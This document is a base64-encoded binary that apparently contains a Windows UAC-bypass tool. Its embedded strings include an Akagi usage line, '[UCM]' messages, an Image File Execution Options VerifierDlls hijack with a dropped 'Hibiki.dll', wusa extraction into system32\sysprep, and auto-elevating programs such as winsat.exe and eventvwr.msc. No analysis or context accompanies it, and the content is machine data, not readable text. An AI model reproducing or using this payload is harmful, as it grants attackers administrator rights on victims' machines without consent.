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4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAEkAbQBhAGcAZQAgAEYAaQBsAGUAIABFAHgAZQBjAHUAdABpAG8AbgAgAE8AcAB0AGkAbwBuAHMAAAAAAAAARwBsAG8AYgBhAGwARgBsAGEAZwAAAAAASABpAGIAaQBrAGkALgBkAGwAbAAAAAAAVgBlAHIAaQBmAGkAZQByAEQAbABsAHMAAAAAAAAAAAAlAHQAZQBtAHAAJQBcAEgAaQBiAGkAawBpAC4AZABsAGwAAAAAAAAAJQBzAHkAcwB0AGUAbQByAG8AbwB0ACUAXABzAHkAcwB0AGUAbQAzADIAXAB3AGkAbgBzAGEAdAAuAGUAeABlAAAAAAAAAAAAJQB0AGUAbQBwACUAXAB3AGkAbgBzAGEAdAAuAGUAeABlAAAAAAAAACUAdABlAG0AcAAlAFwAAAB3AGkAbgBzAGEAdAAuAGUAeABlAAAAAAAAAAAAAAAAAC8AYwAgAHcAdQBzAGEAIAAlAHcAcwAgAC8AZQB4AHQAcgBhAGMAdAA6ACUAJQB3AGkAbgBkAGkAcgAlACUAXABzAHkAcwB0AGUAbQAzADIAXABzAHkAcwBwAHIAZQBwAAAAAAAAAAAAAAAAAAAAAAAlAHMAeQBzAHQAZQBtAHIAbwBvAHQAJQBcAHMAeQBzAHQAZQBtADMAMgBcAHMAeQBzAHAAcgBlAHAAXAB3AGkAbgBzAGEAdAAuAGUAeABlAAAAAAAAAAAAJQBzAHkAcwB0AGUAbQByAG8AbwB0ACUAXABzAHkAcwB0AGUAbQAzADIAXABzAHkAcwBwAHIAZQBwAFwAAAAAACUAcwB5AHMAdABlAG0AcgBvAG8AdAAlAFwAcwB5AHMAdABlAG0AMwAyAFwAAAAAAGUAdgBlAG4AdAB2AHcAcgAuAG0AcwBjAAAAAAAAAAAAbQBtAGMALgBlAHgAZQAAAG4AZQB0AHUAdABpAGwAcwAuAGQAbABsAAAAAAAAAAAAJQBzAHkAcwB0AGUAbQByAG8AbwB0ACUAXABzAHkAcwB0AGUAbQAzADIAXAB3AGIAZQBtAAAAAAAlAHMAeQBzAHQAZQBtAHIAbwBvAHQAJQBcAHMAeQBzAHQAZQBtADMAMgBcAGMAcgBlAGQAdwBpAHoALgBlAHgAZQAAAAAAAAAlAHQAZQBtAHAAJQBcAG8AbwBiAGUALgBlAHgAZQAAAFNoZWxsRXhlY3V0ZUV4VwBXYWl0Rm9yU2luZ2xlT2JqZWN0AAAAAABDbG9zZUhhbmRsZQAAAAAAXAB3AGIAZQBtAFwAbwBvAGIAZQAuAGUAeABlAAAAAAByAHUAbgBhAHMAAAAAAAAAXABjAHIAZQBkAHcAaQB6AC4AZQB4AGUAAAAAAAAAAAAlAHMAeQBzAHQAZQBtAHIAbwBvAHQAJQBcAHMAeQBzAHQAZQBtADMAMgBcAGkAbgBlAHQAcwByAHYAAABcAAAASQBuAGUAdABNAGcAcgAuAGUAeABlAAAAWwBVAEMATQBdACAASQBJAFMAIABpAG4AcwB0AGEAbABsAGUAZAAsACAAYQBiAG8AcgB0AAAAAABTAEwAQwAuAGQAbABsAAAAVwBoAG8AZQB2AGUAcgAgAGMAcgBlAGEAdABlAGQAIAB0AGgAaQBzACAAZwB3AHgAIABzAGgAaQB0ACAAbQB1AHMAdAAgAGIAZQAgAGYAaQByAGUAZAAAAGUAeABwAGwAbwByAGUAcgAuAGUAeABlAAAAAAAAAAAAAAAAAAAAAABbAFUAQwBNAF0AIABDAGEAbgBuAG8AdAAgAG8AcABlAG4AIAB0AGEAcgBnAGUAdAAgAHAAcgBvAGMAZQBzAHMALgAAAAAAAAAAAAAAAAAAAFsAVQBDAE0AXQAgAEMAYQBuAG4AbwB0ACAAYQBsAGwAbwBjAGEAdABlACAAbQBlAG0AbwByAHkAIABpAG4AIAB0AGEAcgBnAGUAdAAgAHAAcgBvAGMAZQBzAHMALgAAAFsAVQBDAE0AXQAgAEMAYQBuAG4AbwB0ACAAdwByAGkAdABlACAAdABvACAAdABoAGUAIAB0AGEAcgBnAGUAdAAgAHAAcgBvAGMAZQBzAHMAIABtAGUAbQBvAHIAeQAuAAAAAAAAAAAAcgBlAGkAcgByAGEAQwAAAGkAZwBhAGsAQQAAAAAAAABrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAAAAAAAAAAAG8AbABlADMAMgAuAGQAbABsAAAAAAAAAHMAaABlAGwAbAAzADIALgBkAGwAbAAAAAAAAAAAAAAAQQBkAG0AaQBuACAAYQBjAGMAbwB1AG4AdAAgAHcAaQB0AGgAIABsAGkAbQBpAHQAZQBkACAAdABvAGsAZQBuACAAcgBlAHEAdQBpAHIAZQBkAC4AAAAAAAAAAAAAAAAAVABoAGkAcwAgAFcAaQBuAGQAbwB3AHMAIAB2AGUAcgBzAGkAbwBuACAAaQBzACAAbgBvAHQAIABzAHUAcABwAG8AcgB0AGUAZAAuAAAAAABVAHMAYQBnAGUAOgAgAEEAawBhAGcAaQAuAGUAeABlACAAWwBNAGUAdABoAG8AZABdACAAWwBPAHAAdABpAG8AbgBhAGwAUABhAHIAYQBtAFQAbwBFAHgAZQBjAHUAdABlAF0AAAAAAAAAAAAAAAAAVABoAGkAcwAgAG0AZQB0AGgAbwBkACAAZgBpAHgAZQBkAC8AdQBuAGEAdgBhAGkAbABhAGIAbABlACAAaQBuACAAdABoAGUAIABjAHUAcgByAGUAbgB0ACAAdgBlAHIAcwBpAG8AbgAgAG8AZgAgAFcAaQBuAGQAbwB3AHMALAAgAGQAbwAgAHkAbwB1ACAAcwB0AGkAbABsACAAdwBhAG4AdAAgAHQAbwAgAGMAbwBuAHQAaQBuAHUAZQA/AAAAVABoAGkAcwAgAG0AZQB0AGgAbwBkACAAbwBuAGwAeQAgAHcAbwByAGsAcwAgAHcAaQB0AGgAIAB4ADgANgAtADMAMgAgAFcAaQBuAGQAbwB3AHMAIABvAHIAIABmAHIAbwBtACAAVwBvAHcANgA0AAAAAAAAAAAAAAAAAAAAAABUAGgAaQBzACAAbQBlAHQAaABvAGQAIAByAGUAcQB1AGkAcgBlACAAVwBpAG4AZABvAHcAIAA3ACAAYQBuAGQAIABhAGIAbwB2AGUAAAAAAEEAcABwAGEAcgBlAG4AdABsAHkAIABpAHQAIABzAGUAZQBtAHMAIAB5AG8AdQAgAGEAcgBlACAAcgB1AG4AbgBpAG4AZwAgAHUAbgBkAGUAcgAgAFcATwBXADYANAAuAAoADQBUAGgAaQBzACAAaQBzACAAbgBvAHQAIABzAHUAcABwAG8AcgB0AGUAZAAsACAAcgB1AG4AIAB4ADYANAAgAHYAZQByAHMAaQBvAG4AIABvAGYAIAB0AGgAaQBzACAAdABvAG8AbAAuAAAAAAAjAFUAQQBDAE0AZQAjAAAAVABoAGkAcwAgAG0AZQB0AGgAbwBkACAAdwBpAGwAbAAgAFQAVQBSAE4AIABVAEEAQwAgAE8ARgBGACwAIABhAHIAZQAgAHkAbwB1ACAAcwB1AHIAZQA/ACAAWQBvAHUAIAB3AGkAbABsACAAbgBlAGUAZAAgAHQAbwAgAHIAZQBlAG4AYQBiAGwAZQAgAGkAdAAgA